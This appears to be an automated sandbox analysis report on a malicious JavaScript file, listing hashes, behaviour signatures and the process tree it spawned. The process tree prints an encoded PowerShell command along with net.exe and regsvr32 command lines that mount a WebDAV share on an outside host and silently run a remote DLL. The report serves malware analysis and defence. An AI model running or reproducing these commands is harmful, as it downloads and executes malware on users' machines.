Analysis

  • max time kernel
    137s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 11:02

General

  • Target

    25313118591029427603.js

  • Size

    17KB

  • MD5

    784617fa3546643f54170bf47c747d9f

  • SHA1

    f99a90c3531f3fc4b2c9e8cb46bc1a723fb943bb

  • SHA256

    9132f62cba965da56ad80172c698b30e86671d250b69a1dde28ead25e3863087

  • SHA512

    6e70eb7ccad0722e1ceb0b19d6cf3a5350f405aa5381418a63905214d38d91d9c71ccb659d2a9e8b15f968ac86963bf5f85c891ded4002036c1afc17007182dc

  • SSDEEP

    384:V+oCK4/DxLKkKDKsKuKSKyKXK/KmK9KDKoK/KiK2K9KmKxKTKMK7K8KkKyKKKkKg:V+oCK47FKkKDKsKuKSKyKXK/KmK9KDKP

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\25313118591029427603.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEANQAxADMAOQAxADkAOQA2ADMAMQA1ADMANQA5AC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4328
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\151391996315359.dll
          3⤵
            PID:1332

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxnuiamy.qie.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1348-0-0x00007FFB9DB23000-0x00007FFB9DB25000-memory.dmp

        Filesize

        8KB

      • memory/1348-1-0x000001D3F8430000-0x000001D3F8452000-memory.dmp

        Filesize

        136KB

      • memory/1348-11-0x00007FFB9DB20000-0x00007FFB9E5E1000-memory.dmp

        Filesize

        10.8MB

      • memory/1348-12-0x00007FFB9DB20000-0x00007FFB9E5E1000-memory.dmp

        Filesize

        10.8MB

      • memory/1348-15-0x00007FFB9DB20000-0x00007FFB9E5E1000-memory.dmp

        Filesize

        10.8MB